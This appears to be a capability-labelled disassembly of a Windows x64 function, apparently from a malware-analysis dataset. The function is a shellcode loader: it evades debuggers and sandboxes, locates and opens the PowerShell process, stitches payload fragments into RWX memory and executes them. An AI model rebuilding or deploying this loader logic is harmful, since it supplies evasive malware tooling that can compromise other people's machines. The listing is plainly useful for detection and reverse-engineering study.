Function at 0x140011401
Capabilities:
Allocate or change rwx memory
Enumerate processes
Execute command
Execute shellcode via indirect call
Terminate process

Disassembly:
jmp 0x140015a20
push rbp
push rsi
push rdi
mov eax, 0x1310
call fcn.140011113
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x36c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140026040]
xor rax, rbp
mov qword [rbp + 0x12e8], rax
lea rcx, [0x14002d102]
call fcn.1400115cd
lea rax, [rbp + 8]
lea rcx, [0x140022188]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x38]
lea rcx, str.RQVH1
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x68]
lea rcx, [0x1400221b8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x98]
lea rcx, [0x1400221d0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xc8]
lea rcx, [0x1400221e8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xf8]
lea rcx, [0x140022200]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x128]
lea rcx, [0x140022218]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x158]
lea rcx, [0x140022230]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x188]
lea rcx, [0x140022248]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b8]
lea rcx, [0x140022260]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1e8]
lea rcx, [0x140022278]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x218]
lea rcx, [0x140022290]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x248]
lea rcx, [0x1400222a8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x278]
lea rcx, str.XAXYZAXAYAZH
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2a8]
lea rcx, [0x1400222d8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2d8]
lea rcx, [0x1400222f0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x308]
lea rcx, [0x140022308]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x338]
lea rcx, [0x140022320]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x368]
lea rcx, [0x140022338]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x398]
lea rcx, [0x140022350]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x3c8]
lea rcx, [0x140022368]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x3f8]
lea rcx, [0x140022380]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x428]
lea rcx, [0x140022398]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x458]
lea rcx, [0x1400223b0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x488]
lea rcx, [0x1400223c8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x4b8]
lea rcx, [0x1400223e0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x4e8]
lea rcx, [0x1400223f8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x518]
lea rcx, [0x140022410]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x548]
lea rcx, [0x140022428]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x578]
lea rcx, [0x140022440]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x5a8]
lea rcx, [0x140022458]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x5d8]
lea rcx, [0x140022470]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x608]
lea rcx, [0x140022488]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x638]
lea rcx, [0x1400224a0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x668]
lea rcx, [0x1400224b8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x698]
lea rcx, [0x1400224d0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x6c4]
lea rcx, [0x1400224e4]
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x140022105]
mov byte [rbp + 0x6f0], al
lea rax, [rbp + 0x6f1]
mov rdi, rax
xor eax, eax
mov ecx, 0x2cf
rep stosb byte [rdi], al
lea rcx, str.ping_www.google.com
call qword [sym.imp.ucrtbased.dll_system]
test eax, eax
je 0x140015e7e
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140015e90
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
call fcn.140011456
test eax, eax
je 0x140015ea1
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov qword [rbp + 0x9d8], 0
mov ecx, 0x5f5e100
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x9d8], rax
cmp qword [rbp + 0x9d8], 0
je 0x140016495
mov dword [rbp + 0x9f4], 0
mov qword [rbp + 0xa18], 0
xor edx, edx
mov ecx, 2
call fcn.1400112a8
mov qword [rbp + 0xa38], rax
mov dword [rbp + 0xa60], 0x238
lea rax, [0x140022058]
mov qword [rbp + 0xcb8], rax
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0xce0]
call fcn.140011479
mov dword [rbp + 0xce0], 0x68
lea rdx, [rbp + 0xa60]
mov rcx, qword [rbp + 0xa38]
call fcn.140011389
test eax, eax
je 0x140015fba
lea rdx, str.powershell.exe
mov rcx, qword [rbp + 0xcb8]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
je 0x140015f88
lea rdx, [rbp + 0xa60]
mov rcx, qword [rbp + 0xa38]
call fcn.140011523
lea rax, [rbp + 0xa8c]
mov qword [rbp + 0xcb8], rax
mov eax, dword [rbp + 0xa68]
mov dword [rbp + 0x9f4], eax
jmp 0x140015f41
lea rdx, str.__Powershell_PID:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14001132a
mov edx, dword [rbp + 0x9f4]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400112c6]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r8d, dword [rbp + 0x9f4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0xa18], rax
cmp qword [rbp + 0xa18], 0
je 0x140016495
lea rdx, str.__Agganciato_a_Powershell
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
lea rdx, [0x14001104b]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x5f5e100
xor edx, edx
mov rcx, qword [rbp + 0x9d8]
call fcn.140011479
lea rdx, str.__Eseguo_il_payload
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
lea rdx, [0x14001104b]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0xf
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x6f0]
call fcn.1400112c1
lea rax, [rbp + 0x6fe]
mov r8d, 0xf
lea rdx, [rbp + 0x38]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x70c]
mov r8d, 0xf
lea rdx, [rbp + 0x68]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x71a]
mov r8d, 0xf
lea rdx, [rbp + 0x98]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x728]
mov r8d, 0xf
lea rdx, [rbp + 0xc8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x736]
mov r8d, 0xf
lea rdx, [rbp + 0xf8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x744]
mov r8d, 0xf
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x752]
mov r8d, 0xf
lea rdx, [rbp + 0x158]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x760]
mov r8d, 0xf
lea rdx, [rbp + 0x188]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x76e]
mov r8d, 0xf
lea rdx, [rbp + 0x1b8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x77c]
mov r8d, 0xf
lea rdx, [rbp + 0x1e8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x78a]
mov r8d, 0xf
lea rdx, [rbp + 0x218]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x798]
mov r8d, 0xf
lea rdx, [rbp + 0x248]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x7a6]
mov r8d, 0xf
lea rdx, [rbp + 0x278]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x7b4]
mov r8d, 0xf
lea rdx, [rbp + 0x2a8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x7c2]
mov r8d, 0xf
lea rdx, [rbp + 0x2d8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x7d0]
mov r8d, 0xf
lea rdx, [rbp + 0x308]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x7de]
mov r8d, 0xf
lea rdx, [rbp + 0x338]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x7ec]
mov r8d, 0xf
lea rdx, [rbp + 0x368]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x7fa]
mov r8d, 0xf
lea rdx, [rbp + 0x398]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x808]
mov r8d, 0xf
lea rdx, [rbp + 0x3c8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x816]
mov r8d, 0xf
lea rdx, [rbp + 0x3f8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x824]
mov r8d, 0xf
lea rdx, [rbp + 0x428]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x832]
mov r8d, 0xf
lea rdx, [rbp + 0x458]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x840]
mov r8d, 0xf
lea rdx, [rbp + 0x488]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x84e]
mov r8d, 0xf
lea rdx, [rbp + 0x4b8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x85c]
mov r8d, 0xf
lea rdx, [rbp + 0x4e8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x86a]
mov r8d, 0xf
lea rdx, [rbp + 0x518]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x878]
mov r8d, 0xf
lea rdx, [rbp + 0x548]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x886]
mov r8d, 0xf
lea rdx, [rbp + 0x578]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x894]
mov r8d, 0xf
lea rdx, [rbp + 0x5a8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x8a2]
mov r8d, 0xf
lea rdx, [rbp + 0x5d8]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x8b0]
mov r8d, 0xf
lea rdx, [rbp + 0x608]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x8be]
mov r8d, 0xf
lea rdx, [rbp + 0x638]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x8cc]
mov r8d, 0xf
lea rdx, [rbp + 0x668]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x8da]
mov r8d, 0xf
lea rdx, [rbp + 0x698]
mov rcx, rax
call fcn.1400112c1
lea rax, [rbp + 0x8e8]
mov r8d, 7
lea rdx, [rbp + 0x6c4]
mov rcx, rax
call fcn.1400112c1
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x2d0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xd98], rax
mov r8d, 1
lea rdx, [0x140020db0]
lea rcx, [rbp + 0x6f0]
call fcn.1400112c1
mov r8d, 0x2d0
lea rdx, [rbp + 0x6f0]
mov rcx, qword [rbp + 0xd98]
call fcn.1400112c1
call qword [rbp + 0xd98]
mov rcx, qword [rbp + 0x9d8]
call qword [sym.imp.ucrtbased.dll_free]
jmp 0x1400164a6
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140021b60]
call fcn.1400114f1
mov rax, rdi
mov rcx, qword [rbp + 0x12e8]
xor rcx, rbp
call fcn.1400112bc
lea rsp, [rbp + 0x12f0]
pop rdi
pop rsi
pop rbp
ret